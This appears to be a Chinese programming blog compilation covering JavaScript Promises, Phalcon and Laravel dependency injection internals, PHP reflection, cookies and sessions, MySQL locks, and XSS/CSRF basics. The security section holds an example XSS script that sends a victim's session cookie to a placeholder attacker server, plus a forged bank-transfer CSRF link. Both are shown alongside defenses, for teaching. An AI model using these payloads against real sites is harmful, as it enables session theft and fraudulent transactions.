ES6中的Promise详解

什么是Promise

Promise是ES6中提供的一个对象,是用于处理异步编程的一种解决方案。

所谓Promise,简单说就是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 提供统一的 API,各种异步操作都可以用同样的方法进行处理。

Promise的用法

Promise用起来其实很简单,见下代码:

let promiseExample = new Promise((resolve, reject) => {
    if(true) {
        resolve() // you can pass some string as a param here
    }else {
        reject()
    }
}).then((success) => {
    // do something
}, (fail) => {
    // do something when you failed
}).catch((err) => {
    // or you can catch error like this instead 
    // of passing another function in then
})

Promise的特点

  • Promise有三个状态:pending,fulfilled,rejected。状态在某个函数中一旦改变就不会再变化,只能在下一步操作中进行操作,见如下代码:
let promiseExample = new Promise((resolve, reject) => {
    resolve('success1')
    reject('fail1')
    resolve('success2')
})
console.log(promiseExample) // Promise{'success1'}
  • 过去的回调函数/事件等针对异步操作的解决方法往往会在最后形成丑陋的多层嵌套代码(俗称“回调地狱”,Callback Hell),Promise通过使用then的链式调用形式避免了回调地狱的形成从而使得代码结构更美观。

Promise的正确打开方式

虽说上面说了Promise通过链式调用,但是实际应用中,我们常常会遇到需要等到某个异步操作的回调完成后再进行新的异步操作的情况,比如,当在如下的db代码中:

dbClient.connect({
    // db params
}).then((db) => {
    db.insert({
        // rows to insert
    }).then((resultInsert) => {
        db.update({
            // datas to update
        }).then((resultUpdate) => {
            // etc...
        })
    })
})

看,这就是初学者经常会犯的错误之一(包括我自己有段时间也经常这样写),虽然这样写代码是没问题,能跑通的,但是仔细观察下去你就会发现,这不是又回到了不断嵌套的回调地狱中去了吗?而且,因为这里面的每个Promise我们都要写then的处理逻辑给他,因此让整体的代码显得更加臃肿了,这完全违背了我们使用Promise的初衷。

然而,解决代码也很简单,前面说过Promise的出现是为了通过链式调用的方式来解决嵌套问题的,那么我们就该用Promise的方式来编写代码,上面的代码可以改写如下:

dbClient.connect({
    // db params
}).then((db) => {
    return db.insert({
        // rows to insert
    })
}).then((resultInsert) => {
    return db.update({
        // datas to update
    })
}).then((resultUpdate) => {
    // etc...
})

通过这样写,代码不是就美观多了嘛,简洁易懂。而我们做的只是将要做的下一步异步操作的Promise作为返回值返回,然后我们就可以在下一个then中接收到它啦!事实上,这种技巧叫做组合式Promise(composing promise)。

那么让我们继续,依然是上面的这个db场景,当我们打算从中取出某几条记录并删除他们,之后更新UI的时候,你可能会想使用使用一个循环遍历这个数据集,然后用db的Promise API去删除它,但是注意,这里有个很阴险的bug。

前面我们说过,Promise的状态一经变化后便不可再改变,因此,实际上UI更新不会发生在所有记录都被删除之后,而是在第一条记录删除后便更新了状态,也就是说,当你完成第一条记录的删除后便更新了UI,但是实际上我们连它现在已经删除了多少条记录甚至删除是否成功都不知道。这是很危险的一个坑,然而Promise API自然有考虑到这一点,因此它为我们提供了一个all方法,你可以把遍历Promise放到这里面执行,之后Promise会等到这里面的所有Promise都完成之后才触发then,而且他会把结果集作为一个数组传给下一步。这是很有必要的。

于是,最后我们的代码就成了下面这样:

dbClient.connect({
    // db params
}).then((db) => {
    return db.query({
        // query params
    })
}).then((rows) => {
    return Promise.all(rows.map((row) => {
        return db.delete(row)
    }))
}).then((results) => {
    console.log(results) // array 
})

哦对了还有,永远记得给你的Promise写上catch,即使它只是then(null,...)的一个语法糖。另外,在then里记得你只要做两件事:返回数据或者抛出异常。虽然这两点可能很微不足道,但是相信我,It‘s good for you.

Phalcon源码解析(3):依赖注入

在以前的文章中,我曾经提到过依赖注入和控制反转的概念,并分析了Laravel中的Service Container的实现。而在Phalcon中,也是采用了类似的Di做法,将依赖注入到Container中,再由Container管理整个application的依赖,例如绑定,取出,注入等操作。

文件位置

本篇涉及到的主要有三个文件,一个是phalcon/di.zep,一个是phalcon/di/factorydefault.zep,还有一个是phalcon/di/service.zep文件。

解析

如果你的项目使用的是phalcon的devtool构建的脚手架的话,打开public/index.php我们可以看到如下代码:

<?php
use Phalcon\Di\FactoryDefault;

error_reporting(E_ALL);

define('BASE_PATH', dirname(__DIR__));
define('APP_PATH', BASE_PATH . '/app');

try {

    /**
     * The FactoryDefault Dependency Injector automatically registers
     * the services that provide a full stack framework.
     */
    $di = new FactoryDefault();

    // ....other codes

    $application = new \Phalcon\Mvc\Application($di);
}

可以看到,Phalcon通过Phalcon\Di\FactoryDefault这个类作为Di注入了Application类中。

那么接下来,我们来看一下FactoryDefault这个类的代码:

namespace Phalcon\Di;

/**
 * Phalcon\Di\FactoryDefault
 *
 * This is a variant of the standard Phalcon\Di. By default it automatically
 * registers all the services provided by the framework. Thanks to this, the developer does not need
 * to register each service individually providing a full stack framework
 */
class FactoryDefault extends \Phalcon\Di
{

    /**
     * Phalcon\Di\FactoryDefault constructor
     */
    public function __construct()
    {
        parent::__construct();

        let this->_services = [
            "router":             new Service("router", "Phalcon\\Mvc\\Router", true),
            "dispatcher":         new Service("dispatcher", "Phalcon\\Mvc\\Dispatcher", true),
            "url":                new Service("url", "Phalcon\\Mvc\\Url", true),
            "modelsManager":      new Service("modelsManager", "Phalcon\\Mvc\\Model\\Manager", true),
            "modelsMetadata":     new Service("modelsMetadata", "Phalcon\\Mvc\\Model\\MetaData\\Memory", true),
            "response":           new Service("response", "Phalcon\\Http\\Response", true),
            "cookies":            new Service("cookies", "Phalcon\\Http\\Response\\Cookies", true),
            "request":            new Service("request", "Phalcon\\Http\\Request", true),
            "filter":             new Service("filter", "Phalcon\\Filter", true),
            "escaper":            new Service("escaper", "Phalcon\\Escaper", true),
            "security":           new Service("security", "Phalcon\\Security", true),
            "crypt":              new Service("crypt", "Phalcon\\Crypt", true),
            "annotations":        new Service("annotations", "Phalcon\\Annotations\\Adapter\\Memory", true),
            "flash":              new Service("flash", "Phalcon\\Flash\\Direct", true),
            "flashSession":       new Service("flashSession", "Phalcon\\Flash\\Session", true),
            "tag":                new Service("tag", "Phalcon\\Tag", true),
            "session":            new Service("session", "Phalcon\\Session\\Adapter\\Files", true),
            "sessionBag":         new Service("sessionBag", "Phalcon\\Session\\Bag"),
            "eventsManager":      new Service("eventsManager", "Phalcon\\Events\\Manager", true),
            "transactionManager": new Service("transactionManager", "Phalcon\\Mvc\\Model\\Transaction\\Manager", true),
            "assets":             new Service("assets", "Phalcon\\Assets\\Manager", true)
        ];
    }
}

可以看到,这个类做的事其实很简单,只有两个:

  • 继承了Phalcon\Di这个类
  • 实例化了依赖并注入到默认的依赖服务数组中

转到Phalcon\Di这个类中,让我们来看下它的代码(这里只截取部分重要或者我感兴趣的实现):

class Di implements DiInterface {
    // 注册依赖,三个参数第一个指依赖在Container中的名字,第二个是依赖的定义(可能是Namespace\Class这样的字符串定义也可能是直接传入这个类,第三个是决定是否共享该依赖,即是否以单例的形式去维护这个依赖的实例)
    public function set(string! name, var definition, boolean shared = false) -> <ServiceInterface>
    {
        var service;
        // 通过Service类实例化依赖,然后将依赖注入到this->_services数组中
        let service = new Service(name, definition, shared),
            this->_services[name] = service;
        return service;
    }

    // 通过name移除_services中的依赖,这里的感叹号是为了Zephir防止强制转型,因为传入的有可能不是字符串,也可能是其他类型的参数。
    public function remove(string! name) {
        unset this->_services[name];
        unset this->_sharedInstances[name];
    }

    // 获取容器中的依赖
    public function get(string! name, parameters = null) -> var
    {
        var service, eventsManager, instance = null;

        // 获取注册好的事件管理器
        let eventsManager = <ManagerInterface> this->_eventsManager;

        if typeof eventsManager == "object" {
            // 在获取依赖前先触发事件,以便事件监听器进行相应处理(如打log等)
            let instance = eventsManager->fire(
                "di:beforeServiceResolve",
                this,
                ["name": name, "parameters": parameters]
            );
        }

        if typeof instance != "object" {
            if fetch service, this->_services[name] {
                // 注册过的依赖
                let instance = service->resolve(parameters, this);
            } else {
                // 没有注册过的依赖
                if !class_exists(name) {
                    throw new Exception("Service '" . name . "' wasn't found in the dependency injection container");
                }

                // 通过字符串传入的定义位置(如:Namespace\Class)实例化name所指定的类并实现其依赖注入,然后返回
                if typeof parameters == "array" && count(parameters) {
                    let instance = create_instance_params(name, parameters);
                } else {
                    let instance = create_instance(name);
                }
            }
        }

        // 如果依赖实现了\Phalcon\Di\InjectionAwareInterface这个接口则可以将当前的DI容器传给依赖,使依赖可以获得DI单例并通过这个实例取得其他的依赖。
        if typeof instance == "object" {
            if instance instanceof InjectionAwareInterface {
                instance->setDI(this);
            }
        }

        // 最后,通过事件系统触发事件,以便监听器(如log)等进行对应处理
        if typeof eventsManager == "object" {
            eventsManager->fire(
                "di:afterServiceResolve",
                this,
                [
                    "name": name,
                    "parameters": parameters,
                    "instance": instance
                ]
            );
        }

        return instance;
    }

    // 此外,该类还提供了如$di->setRouter()/$di->getRouter()这样的魔术方法调用方式
    public function __call(string! method, arguments = null) -> var|null
    {
        var instance, possibleService, services, definition;

        // 如果调用方法名以get开头,则进行获取依赖的操作
        if starts_with(method, "get") {
            let services = this->_services,
                possibleService = lcfirst(substr(method, 3));
            if isset services[possibleService] {
                if count(arguments) {
                    let instance = this->get(possibleService, arguments);
                } else {
                    let instance = this->get(possibleService);
                }
                return instance;
            }
        }

        // 如果调用方法名以set开头,则进行设置依赖的操作
        if starts_with(method, "set") {
            if fetch definition, arguments[0] {
                this->set(lcfirst(substr(method, 3)), definition);
                return null;
            }
        }

        // 如果调用方法名不以set或get开头则抛异常
        throw new Exception("Call to undefined method or service '" . method . "'");
    }

    /**
     * 通过服务提供者的形式注册依赖,服务提供者通过以下形式定义。使用时,通过
     * $di->register($provider)的形式 进行注册即可。容器会通过执行provider的
     * register方法将自身的Di实例传入其中来进行依赖注入。
     *
     * <code>
     * use Phalcon\DiInterface;
     * use Phalcon\Di\ServiceProviderInterface;
     *
     * class SomeServiceProvider implements ServiceProviderInterface
     * {
     *     public function register(DiInterface $di)
     *     {
     *         $di->setShared('service', function () {
     *             // ...
     *         });
     *     }
     * }
     * </code>
     */
    public function register(<ServiceProviderInterface> provider) -> void
    {
        provider->register(this);
    }
}

此外,Phalcon还提供了从yaml,php文件中读取依赖配置并实现注入的功能,不过这些在管饭文档中都有详细的说明,在此就不赘述了。

最后,我们来看下Service类的实现,同样,下面代码只截取了部分重要的或者我感兴趣的地方并做了注释:

class Service implements ServiceInterface
{
    // 构造函数,指明当前依赖服务的name,定义位置和是否共享
    public final function __construct(string! name, definition, boolean shared = false)
    {
        let this->_name = name,
            this->_definition = definition,
            this->_shared = shared;
    }

    // 解析服务
    public function resolve(parameters = null, <DiInterface> dependencyInjector = null)
    {
        boolean found;
        var shared, definition, sharedInstance, instance, builder;

        let shared = this->_shared;

        // 是否共享,如果服务是共享的则返回之前所维护的实例
        if shared {
            let sharedInstance = this->_sharedInstance;
            if sharedInstance !== null {
                return sharedInstance;
            }
        }

        // 个人觉得这里改成false较好
        let found = true,
            instance = null;

        let definition = this->_definition;
        if typeof definition == "string" {

            // definition是字符串的状况(如Namespace\Class)
            if class_exists(definition) {
                if typeof parameters == "array" {
                    // 如果该服务有依赖则通过create_instance_params实现依赖注入
                    if count(parameters) {
                        let instance = create_instance_params(definition, parameters);
                    // 否则通过create_instance直接创建服务类
                    } else {
                        let instance = create_instance(definition);
                    }
                } else {
                    let instance = create_instance(definition);
                }
            // 如果找不到definition定义的类则将found设为false              
            } else {
                let found = false;
            }
        } else {

            // 如果definition是对象的状况
            if typeof definition == "object" {
                // 如果是闭包则将闭包绑定到DI容器中                
                if definition instanceof \Closure {

                    /**
                     * Bounds the closure to the current DI
                     */
                    if typeof dependencyInjector == "object" {
                        let definition = \Closure::bind(definition, dependencyInjector);
                    }

                    // 通过call_user_func_array将服务的依赖注入到闭包中
                    if typeof parameters == "array" {
                        let instance = call_user_func_array(definition, parameters);
                    } else {
                        let instance = call_user_func(definition);
                    }
                } else {
                    // 否则,直接返回该对象                  
                    let instance = definition;
                }
            } else {
                /**
                 * Array definitions require a 'className' parameter
                 */
                /** 如果definition是数组类型(即关联数组),比如:
                 * [
                 *   'className' => 'Namespace\Class',
                 *   'arguments' => ['Router', 'Crypt']
                 * ]
                 * 则通过builder类进行解析,关于builder类中的build方法在此不多赘述
                 */
                if typeof definition == "array" {
                    let builder = new Builder(),
                        instance = builder->build(dependencyInjector, definition, parameters);
                } else {
                    let found = false;
                }
            }
        }

        // 如果无法解析服务,则抛异常
        if found === false  {
            throw new Exception("Service '" . this->_name . "' cannot be resolved");
        }

        // 如果该类是共享的单例则update以下_sharedInstance字段
        if shared {
            let this->_sharedInstance = instance;
        }

        let this->_resolved = true;

        return instance;
    }

}

依赖注入和控制反转(以Laravel为例)

依赖注入

首先,要明白什么是依赖注入,得明白什么是依赖。简单来说,依赖就是字面意思,当某个类需要额外的类以完成某些具体要求时,我们便将其称之为依赖。

不是我自身的,却是我需要的,都是我所依赖的。一切需要外部提供的,都是需要进行依赖注入的。

public class Cls {
    protected ClsA a;
    public function __construct(ClsA a) {
        $this->a = a;
    }
}

如上,我们可以称类ClsA为类Cls的依赖。通常来说,我们要实现依赖都是通过上述代码中的构造函数中实现注入的。那么假如某一天我们要更改ClsA类为其他类(如ClsB类),那可能要在类Cls的代码中更改其传入的参数,将ClsA改为ClsB。而且这样做我们要将以前new Cls类的地方都修改传入其构造函数的参数,将其替换为ClsB。显然,这样的做法代码耦合度时很高的。那么,为了解耦,我们可以选择通过使用接口的方式来注入需要的依赖。如下:

interface Cls {
    //code goes here
}

public class ClsA implements Cls {
    //code goes here
}

public class ClsB implements Cls {
    //code goes here
}

public class Test {
    protected Cls cls;
    public function __construct(Cls cls) {
        $this->cls = cls;
    }
}

new Test(new ClsB);
new Test(new ClsA);

然而,这种方式依然需要我们手动地去注入依赖,而进一步的注入方式就要涉及到控制反转了。

控制反转

控制反转 是面向对象编程中的一种设计原则,可以用来减低计算机代码之间的耦合度。其中最常见的方式叫做依赖注入(Dependency Injection, DI), 还有一种叫"依赖查找"(Dependency Lookup)。通过控制反转,对象在被创建的时候,由一个调控系统内所有对象的外界实体,将其所依赖的对象的引用传递给它。也可以说,依赖被注入到对象中。

这里,我们以laravel的Service Container为例,这玩意儿是laravel框架的核心。它通过build和make方法分别实现依赖的注入和取出。

$app = new Container();
$app->bind("Pay", "Alipay");//Pay 为接口, Alipay 是 class Alipay
$app->bind("tryToPayMyBill", "PayBill"); //tryToPayMyBill可以当做是Class PayBill 的服务别名

//通过字符解析,或得到了Class PayBill 的实例
$paybill = $app->make("tryToPayMyBill"); 

//因为之前已经把Pay 接口绑定为了 Alipay,所以调用该类的payMyBill方法的话会显示 'pay bill by alipay '
$paybill->payMyBill(); 

以一个支付为例,上述代码为我们展示了一个清晰的IoC容器使用示例。

那么它的内部是怎么实现的呢,可以看下其源码:

<?php 

//容器类装实例或提供实例的回调函数
class Container {

    //用于封装提供实例的回调函数,真正的容器还会装实例等其他内容
    //从而实现单例等高级功能
    protected $bindings = [];

    //绑定接口和生成相应实例的回调函数,shared参数指是否共享此类,即是否以单例模式生成该类
    public function bind($abstract, $concrete=null, $shared=false) {

        //如果提供的参数不是回调函数,则产生默认的回调函数
        if(!$concrete instanceof Closure) {
            $concrete = $this->getClosure($abstract, $concrete);
        }

        $this->bindings[$abstract] = compact('concrete', 'shared');
    }

    //默认生成实例的回调函数
    protected function getClosure($abstract, $concrete) {

        //如果传入的两个参数一样,则为build操作,否则为make,这里的$c其实是Container的一个实例
        return function($c) use ($abstract, $concrete) {
            $method = ($abstract == $concrete) ? 'build' : 'make';
            return $c->$method($concrete);
        };

    }

    public function make($abstract) {
        //这里如果没绑定过依赖(即bindings中不存在这个键)那么会返回$abstract的字符串。
        $concrete = $this->getConcrete($abstract);

        if($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        return $object;
    }

    protected function isBuildable($concrete, $abstract) {
        //如果concrete类是Closure类型,则返回true,或者concrete等于abstract时,则直接用reflection去build该类的实例
        return $concrete === $abstract || $concrete instanceof Closure;
    }

    //获取绑定的回调函数
    protected function getConcrete($abstract) {
        //如果前面没有绑定过$abstract,则直接返回字符串。
        if(!isset($this->bindings[$abstract])) {
            return $abstract;
        }

        return $this->bindings[$abstract]['concrete'];
    }

    //实例化对象
    public function build($concrete) {

        if($concrete instanceof Closure) {
            return $concrete($this);
        }

        //如果concrete是字符串,则通过反射来实例化
        $reflector = new ReflectionClass($concrete);
        if(!$reflector->isInstantiable()) {
            echo $message = "Target [$concrete] is not instantiable";
        }

        $constructor = $reflector->getConstructor();
        if(is_null($constructor)) {
            return new $concrete;
        }

        $dependencies = $constructor->getParameters();
        $instances = $this->getDependencies($dependencies);

        return $reflector->newInstanceArgs($instances);
    }

    //解决通过反射机制实例化对象时的依赖
    protected function getDependencies($parameters) {
        $dependencies = [];
        foreach($parameters as $parameter) {
            $dependency = $parameter->getClass();
            if(is_null($dependency)) {
                $dependencies[] = NULL;
            } else {
                $dependencies[] = $this->resolveClass($parameter);
            }
        }

        return (array)$dependencies;
    }

    protected function resolveClass(ReflectionParameter $parameter) {
        return $this->make($parameter->getClass()->name);
    }

}

上述代码就是laravel IoC容器的实现源码,其中用到了php的反射机制,关于php的反射说明可以见这里

Cookie和Session

Cookie

机制

一般来说,cookie通过HTTP Headers从服务器端返回到浏览器上。将不重要的信息存在cookie中,减轻服务器压力

cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。然而纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。

cookie的使用是由浏览器按照一定的原则在后台携带给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。

应用

cookie一般可用于存储网站自定义方面的一些设置,如存放用户对于网站主题的标识符,一些显示设置,初次访问该网站的标识符等。

Session

机制

session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。

一般来说服务端(如php)的session是存储在文件中的,当然也可以自己通过其他存储介质(如数据库或者redis等No-SQL数据库等)进行存储。

当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。

如果客户请求不包含session id,则为此客户创建一个session并且生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。

应用

session不同于cookie,一般用来存储敏感信息,如保存用户的登录状态等。

常见问题

关闭浏览器后session会消失吗?为什么?

答:视情况而定。一般来说会消失。原因如下:

如果不设置cookie过期时间,则表示这个cookie的生命期为浏览器会话期间,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览器会话期的 cookie被称为会话cookie。会话cookie一般不存储在硬盘上而是保存在内存里,当然这种行为并不是规范规定的。如果设置了过期时间(比如点击网站上的“记住我”时),浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie仍然有效直到超过设定的过期时间。

而cookie有效则包含在其中的session_id也是有效的,因此服务端的session数据可以生效。

cookie和session的区别?

答:cookie是存储在客户端的,session是存储在服务端的。然而由于http协议是无状态的,因此服务端实际上是通过cookie中存储的session_id字段来辨识客户端的。

那么,客户端禁用了cookie功能后还能使用session吗?

答:可以。前面说过session是通过cookie中包含的session_id字段来辨识客户端的。换句话说,也就是只要在请求中带上session_id那么都是可行的,cookie只是其中的一个持久化手段。禁用cookie后,你可以通过query string中带上session_id,也可以在http body的数据甚至header中带上session_id,只要服务端做好相应处理那么session就依然是可以使用的。至于持久化的话可以使用html5之后的新api webstorage。

如何删除cookie

将想删除cookie字段的过期时间设为0或者将其值设为null即可。

cookie的缺陷

  • 大小:每个域名下只能有20条cookie,且每个cookie的大小限制为4kb左右,这对于逻辑复杂的业务来说很不方便
  • 网络负担:cookie会被附加在每个http请求中,会造成不必要的浪费。
  • 安全性:cookie在http链接中是明文传输的(https不是),这会造成一定的安全性问题。

Web安全:xss攻击和csrf攻击

xss攻击

原理

xss的原因是某些网站的表单数据在传输过后没有很好地转义,因此比如我们在表单中输入如下代码:

javascript:alert('xss攻击')

这种数据在经过存入数据库后又展示在用户面前,最后就会形成诸如:

<img src="javascript:alert('xss攻击')" />

这样的结果。而这样是会在网站域下执行js的,而上面这行代码的结果就是在客户端alert了。

ps:xss攻击原理其实就是html注入然后拿cookie再发送到黑客自己的服务器上,通过cookie为所欲为。

攻击示例

首先,黑客们通过邮件等(比如中奖信息之类)向你发出一个链接,而这个链接实际是指向存在xss漏洞的网站的某个接口,如

    http://www.xxx.com/api/item/insert

然后在他的某个post数据中传入如下值

    <script>
    var cookie = document.cookie
    var session_id = format(cookie)
    ajax.post(hacker_server_url, session_id)
    window.location = hacker_server_welcome_url
    </script>

因为是在该网站的域下执行的js,所以js可以成功获取到用户在存在漏洞网站的cookie,之后再重定向到攻击者自己制定的页面,这样在不知不觉中黑客便成功获取到了用户的session_id并可以为所欲为了。

应对

  • 做好转义,如做好html entity编码,base64编码等
  • 使用Http-only Cookie,它为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie。
  • 不要引用任何不可信的第三方js文件

csrf攻击

原理

csrf的原理是让被攻击用户在不知情情况下去访问自己已经登陆过的网站的某个接口的链接,这样用户因为带上了自己cookie中的session_id而会被服务端认为是自发的合理请求,从而让攻击者神不知鬼不觉地让被攻击用户做某些事情

攻击示例

比如某个银行网站,它错误的用了get方式来做转账接口,那么黑客通过恶意邮件中嵌入如下链接:

    http://www.bank.com/Transfer?toUserId=10086&ammount=10000

即可达到让用户向其账户转账1w元的攻击。

防范

  • 使用随机构造的csrf_token,例如在访问转账页面中生成这个token,请求转账接口时带上这个token才能顺利通过,这样只有访问转账页面才能获得token,没有token直接请求接口则会被拒绝。

  • 使用Referer字段。

  • 在Html header中带上自定义字段进行验证

ps:后两种方法依然能被抓包破解,第一种方法是最为稳妥的。

csrf和xss的区别

以下内容来自知乎:传送门

马三立小品〈逗你玩〉中的小偷就利用xss突破了防盗系统。

防盗系统启动:

妈妈:给我看着衣服

小孩:好的

小偷来

正常工作:

小孩:你是谁?

小偷:我叫张三

小孩:妈妈,有人偷衣服

妈妈:谁?

小孩:张三

小偷被捉

漏洞:

小孩:你是谁?

小偷:我叫逗你玩

小孩:妈妈,有人偷衣服

妈妈:谁?

小孩:逗你玩

妈妈:。。。

csrf则让用户在不知情的情况,冒用其身份发起了一个请求

小偷:你妈妈喊你去买洗衣粉

Mysql中的锁

什么是锁

锁是计算机协调多个进程或线程并发访问某一资源的机制。在数据库中,除传统的计算资源(如CPU、RAM、I/O等)的争用以外,数据也是一种供许多用户共享的资源。如何保证数据并发访问的一致性、有效性是所有数据库必须解决的一个问题,锁冲突也是影响数据库并发访问性能的一个重要因素。

MySQL中主要的锁

  • 表级锁:MyISAM,InnoDB引擎都支持,开销小,加锁快,锁定粒度大(但没有页面锁大,页面锁因不常用所以不提),并发度低,发生冲突概率高
  • 行级锁:InnoDB引擎支持,开销大,加锁慢,锁定粒度最小,并发度高,发生冲突概率低。

InnoDB中的锁(行级锁定)

InnoDB引擎中的四种锁模式:

  • 共享锁(S lock):允许事务读一行数据
  • 排他锁(X lock):允许事务插入或更新一行数据
  • 意向共享锁(IS lock):事务想获得一个表中某几行的共享锁
  • 意向排他锁(IX lock):事务想获得一个表中某几行的排他锁

当一个事务需要给自己需要的某个资源加锁的时候,如果遇到一个共享锁正锁定着自己需要的资源的时候,自己可以再加一个共享锁,不过不能加排他锁。但是,如果遇到自己需要锁定的资源已经被一个排他锁占有之后,则只能等待该锁定释放资源之后自己才能获取锁定资源并添加自己的锁定。而意向锁的作用就是当一个事务在需要获取资源锁定的时候,如果遇到自己需要的资源已经被排他锁占用的时候,该事务可以需要锁定行的表上面添加一个合适的意向锁。如果自己需要一个共享锁,那么就在表上面添加一个意向共享锁。而如果自己需要的是某行(或者某些行)上面添加一个排他锁的话,则先在表上面添加一个意向排他锁。意向共享锁可以同时并存多个,但是意向排他锁同时只能有一个存在。

兼容性:

兼容性 S X IS IX
S 兼容 冲突 兼容 冲突
X 冲突 冲突 冲突 冲突
IS 兼容 冲突 兼容 兼容
IX 冲突 冲突 兼容 兼容

如何加锁

如果一个事务请求的锁模式与当前的锁兼容,InnoDB就将请求的锁授予该事务;反之,如果两者不兼容,该事务就要等待锁释放。

意向锁是InnoDB自动加的,不需用户干预。对于UPDATE、DELETE和INSERT语句,InnoDB会自动给涉及数据集加排他锁(X);对于普通SELECT语句,InnoDB不会加任何锁。可以通过 如下语句加共享锁或排他锁

共享锁(S):

SELECT * FROM table_name WHERE ... LOCK IN SHARE MODE

排他锁(X):

SELECT * FROM table_name WHERE ... FOR UPDATE

MyISAM中的锁(表级锁定)

MyISAM中的两种锁模式及其兼容性:

  • 表共享读锁(Table Read Lock):对MyISAM表的读操作,不会阻塞其他用户对同一表的读请求,但会阻塞对同一表的写请求;
  • 表独占写锁(Table Write Lock):对MyISAM表的写操作,则会阻塞其他用户对同一表的读和写操作;
    MyISAM表的读操作与写操作之间,以及写操作之间是串行的。当一个线程获得对一个表的写锁后,只有持有锁的线程可以对表进行更新操作。其他线程的读、写操作都会等待,直到锁被释放为止。

如何加锁

MyISAM在执行查询语句(SELECT)前,会自动给涉及的所有表加读锁,在执行更新操作(UPDATE、DELETE、INSERT等)前,会自动给涉及的表加写锁,这个过程并不需要用户干预,因此,用户一般不需要直接用LOCK TABLE命令给MyISAM表显式加锁。

PHP的反射机制

前言

反射是php5之后引入的一个新机制,这里是PHP手册中关于反射的介绍

介绍

官方的介绍中,反射是指在PHP运行时(Runtime)中,扩展分析PHP程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助我们构建复杂,可扩展的应用。

简单来说,我们可以通过Reflection Class得到某个类的如下信息:

  • 常量
  • 方法
  • 属性
  • 命名空间
  • 静态属性

例子

$reflection = new ReflectionClass('App/Model/User');
if($reflection->isInstantiable()) {
  $instance = $reflection->newInstance();
}

$properties = $reflection->getProperties(); // 获取属性
foreach($properties as $property) {  
    echo $property->getName()."\n";  
}

$methods = $reflection->getMethods(); // 获取方法

// 获取并执行某个方法
$method = $reflection->getmethod('methodName');
$method->invoke($instance);

上述代码是一个最简单的例子,通过传入字符串,我们先判断有没有这个类以及这个类是否能被实例化,之后通过newInstance方法,便可以得到位于App/Model命名空间下的User类的一个实例了。后面的代码则展示了如何获取类属性、方法并执行某个方法等。

应用

最常见的一个应用是laravel的IoC容器Service Container。laravel框架中通过php的反射机制来实现依赖的自动注入,我们只要声明好某个类需要哪个依赖(包括完整的命名空间及其类名),之后Service Container便会通过反射机制自动实例化依赖并注入到需要依赖的类中。

laravel框架的Service Container部分源码如下:

//实例化对象
class Container {
    //other codes ...

    public function build($concrete) {

        if($concrete instanceof Closure) {
            return $concrete($this);
        }

        $reflector = new ReflectionClass($concrete);
            if(!$reflector->isInstantiable()) {
                echo $message = "Target [$concrete] is not instantiable";
            }

            $constructor = $reflector->getConstructor();
            //如果该类没有构造方法,说明没有依赖需要被注入,则直接运行闭包。
            if(is_null($constructor)) {
                return new $concrete;
            }

            $dependencies = $constructor->getParameters();
            $instances = $this->getDependencies($dependencies); // getDependencies为Container类内部方法,为获取依赖作用

            // 将依赖作为构造函数参数注入所需类中
            return $reflector->newInstanceArgs($instances);
        }
    }

Phalcon源码解析(2):路由

文件位置

路由组件文件位于Phalcon/mvc/router.zep,实现的RouterInterface则位于Phalcon/mvc/router/routerinterface.zep文件中。路由类的定义在Phalcon/mvc/router/route.zep中。

解析

路由通过handle函数(如下)中进行请求接收,路由匹配:

/**
     * Handles routing information received from the rewrite engine
     *
     *<code>
     * // Read the info from the rewrite engine
     * $router->handle();
     *
     * // Manually passing an URL
     * $router->handle("/posts/edit/1");
     *</code>
*/
public function handle(string uri = null) {
    // other codes...
}

从这段注释中可以看出,handle函数接收一个字符串参数uri,如果传入某个字符串则phalcon会按照用户在路由文件中用add函数定义的路由进行循环匹配。否则,phalcon会根据从url重写引擎传来的$_GET['_url']参数或者php全局变量$_SERVER['REQUEST_URI']进行匹配,这一点官方文档中也有提及。而源码中是这样实现的:

if !uri {
    /**
     * If 'uri' isn't passed as parameter it reads _GET["_url"]
     */
    let realUri = this->getRewriteUri();
} else {
    let realUri = uri;
}

之后,phalcon会通过事件系统fire一个名为router:beforeCheckRoutes的事件,然后将通过add函数定义的routes进行一个反向顺序的遍历(不知为何要反向= =),从Di Container中获取Request实例(关于Di Container会在之后进行分析),对当前请求的method,hostname与pattern与定义中的route进行匹配。在前两者匹配成功后,则通过事件系统触发一个router:beforeCheckRoute事件,之后在进行pattern的匹配。最后,完成pattern的匹配后,触发router:matchedRoute事件,表明路由匹配成功,然后通过$route->getBeforeMatch()函数获取路由定义的前置钩子并执行,最后获取路由定义的命名空间,控制器名和actionName进行对应操作的执行。如果匹配不到则会触发route:notMatchedRoute事件,标识匹配失败。其中,不管匹配成功与否,都会触发route:afterCheckRoutes事件,标识匹配的过程完成。

而关于add函数,它做的事其实很简单,代码如下:

public function add(string! pattern, var paths = null, var httpMethods = null, var position = Router::POSITION_LAST) -> <RouteInterface>
    {
        var route;

        /**
         * Every route is internally stored as a Phalcon\Mvc\Router\Route
         */
        let route = new Route(pattern, paths, httpMethods);

        switch position {

            case self::POSITION_LAST:
                let this->_routes[] = route;
                break;

            case self::POSITION_FIRST:
                let this->_routes = array_merge([route], this->_routes);
                break;

            default:
                throw new Exception("Invalid route position");
        }

        return route;
    }

